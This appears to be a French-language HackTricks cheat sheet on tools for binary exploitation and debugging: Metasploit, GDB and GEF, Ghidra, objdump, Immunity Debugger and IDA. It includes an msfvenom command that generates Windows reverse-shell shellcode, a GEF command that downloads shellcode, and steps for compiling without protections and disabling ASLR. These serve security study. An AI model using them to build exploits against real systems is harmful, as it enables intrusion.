☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
# Metasploit
```
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
## Shellcodes
Les shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
# GDB
## Installation
### Linux
Pour installer GDB sur Linux, utilisez la commande suivante :
```
sudo apt-get install gdb
```
### MacOS
Pour installer GDB sur MacOS, utilisez Homebrew :
```
brew install gdb
```
### Windows
Pour installer GDB sur Windows, vous pouvez utiliser MinGW ou Cygwin.
```
apt-get install gdb
```
## Paramètres
**-q** --> Ne pas afficher la bannière\
**-x \** --> Exécuter automatiquement les instructions GDB à partir d'ici\
**-p \** --> Se connecter au processus
### Instructions
\> **disassemble main** --> Désassembler la fonction\
\> **disassemble 0x12345678**\
\> **set disassembly-flavor intel**\
\> **set follow-fork-mode child/parent** --> Suivre le processus créé\
\> **p system** --> Trouver l'adresse de la fonction system\
\> **help**\
\> **quit**
\> **br func** --> Ajouter un point d'arrêt à la fonction\
\> **br \*func+23**\
\> **br \*0x12345678**\
**> del NUM** --> Supprimer ce nombre de points d'arrêt\
\> **watch EXPRESSION** --> Interrompre si la valeur change
**> run** --> Exécuter\
**> start** --> Démarrer et interrompre dans main\
\> **n/next** --> Exécuter l'instruction suivante (pas à l'intérieur)\
\> **s/step** --> Exécuter l'instruction suivante\
\> **c/continue** --> Continuer jusqu'au prochain point d'arrêt
\> **set $eip = 0x12345678** --> Changer la valeur de $eip\
\> **info functions** --> Informations sur les fonctions\
\> **info functions func** --> Informations sur la fonction\
\> **info registers** --> Valeur des registres\
\> **bt** --> Pile\
\> **bt full** --> Pile détaillée
\> **print variable**\
\> **print 0x87654321 - 0x12345678** --> Calculer\
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Affiche le contenu en octal/hexadécimal/10/binaire/instruction/ascii
* **x/o 0xDir\_hex**
* **x/2x $eip** --> 2 mots à partir de EIP
* **x/2x $eip -4** --> $eip - 4
* **x/8xb $eip** --> 8 octets (b-> octet, h-> 2 octets, w-> 4 octets, g-> 8 octets)
* **i r eip** --> Valeur de $eip
* **x/w pointer** --> Valeur du pointeur
* **x/s pointer** --> Chaîne pointée par le pointeur
* **x/xw \&pointer** --> Adresse où se trouve le pointeur
* **x/i $eip** —> Instructions de EIP
## [GEF](https://github.com/hugsy/gef)
```bash
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
## Astuces
### Mêmes adresses GDB
Lors du débogage, GDB aura des **adresses légèrement différentes de celles utilisées par le binaire lors de son exécution.** Vous pouvez faire en sorte que GDB ait les mêmes adresses en faisant :
* `unset env LINES`
* `unset env COLUMNS`
* `set env _=` _Mettez le chemin absolu vers le binaire_
* Exploitez le binaire en utilisant le même chemin absolu
* `PWD` et `OLDPWD` doivent être les mêmes lors de l'utilisation de GDB et lors de l'exploitation du binaire
### Backtrace pour trouver les fonctions appelées
Lorsque vous avez un binaire **lié statiquement**, toutes les fonctions appartiendront au binaire (et non à des bibliothèques externes). Dans ce cas, il sera difficile d'**identifier le flux que suit le binaire pour demander par exemple une entrée utilisateur**.\
Vous pouvez facilement identifier ce flux en **exécutant** le binaire avec **gdb** jusqu'à ce que vous soyez invité à entrer une entrée. Ensuite, arrêtez-le avec **CTRL+C** et utilisez la commande **`bt`** (**backtrace**) pour voir les fonctions appelées :
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
## Serveur GDB
`gdbserver --multi 0.0.0.0:23947` (dans IDA, vous devez remplir le chemin absolu de l'exécutable dans la machine Linux et dans la machine Windows)
# Ghidra
## Trouver l'offset de la pile
**Ghidra** est très utile pour trouver l'**offset** pour un **débordement de tampon grâce aux informations sur la position des variables locales.**\
Par exemple, dans l'exemple ci-dessous, un débordement de tampon dans `local_bc` indique que vous avez besoin d'un offset de `0xbc`. De plus, si `local_10` est un cookie canary, cela indique que pour l'écraser depuis `local_bc`, il y a un offset de `0xac`.\
_Rappelez-vous que les premiers 0x08 à partir desquels le RIP est enregistré appartiennent au RBP._
![](<../../.gitbook/assets/image (616).png>)
# GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compiler sans protections\
**-o** --> Sortie\
**-g** --> Enregistrer le code (GDB pourra le voir)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Pour désactiver l'ASLR sous Linux
**Pour compiler un shellcode:**\
**nasm -f elf assembly.asm** --> retourne un ".o"\
**ld assembly.o -o shellcodeout** --> Exécutable
# Objdump
**-d** --> **Désassembler les sections** exécutables (voir les opcodes d'un shellcode compilé, trouver des gadgets ROP, trouver l'adresse de la fonction...)\
**-Mintel** --> Syntaxe **Intel**\
**-t** --> Table des **symboles**\
**-D** --> **Désassembler tout** (adresse de la variable statique)\
**-s -j .dtors** --> Section **dtors**\
**-s -j .got** --> Section **got**\
\-D -s -j .plt --> Section **plt** **décompilée**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adresse de "puts" à modifier dans GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Adresse ou variable statique (celles-ci sont stockées dans la section DATA).
# Core dumps
1. Exécutez `ulimit -c unlimited` avant de démarrer mon programme
2. Exécutez `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\ --quiet
# Plus
**ldd executable | grep libc.so.6** --> Adresse (si ASLR, alors cela change à chaque fois)\
**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Boucle pour voir si l'adresse change beaucoup\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset de "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset de "/bin/sh"
**strace executable** --> Fonctions appelées par l'exécutable\
**rabin2 -i ejecutable -->** Adresse de toutes les fonctions
# **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
# IDA
## Débogage à distance sur Linux
Dans le dossier IDA, vous pouvez trouver des binaires qui peuvent être utilisés pour déboguer un binaire sur un système Linux. Pour ce faire, déplacez le binaire _linux\_server_ ou _linux\_server64_ sur le serveur Linux et exécutez-le dans le dossier qui contient le binaire :
```
./linux_server64 -Ppass
```
Ensuite, configurez le débogueur : Débogueur (remote linux) --> Options de processus... :
![](<../../.gitbook/assets/image (101).png>)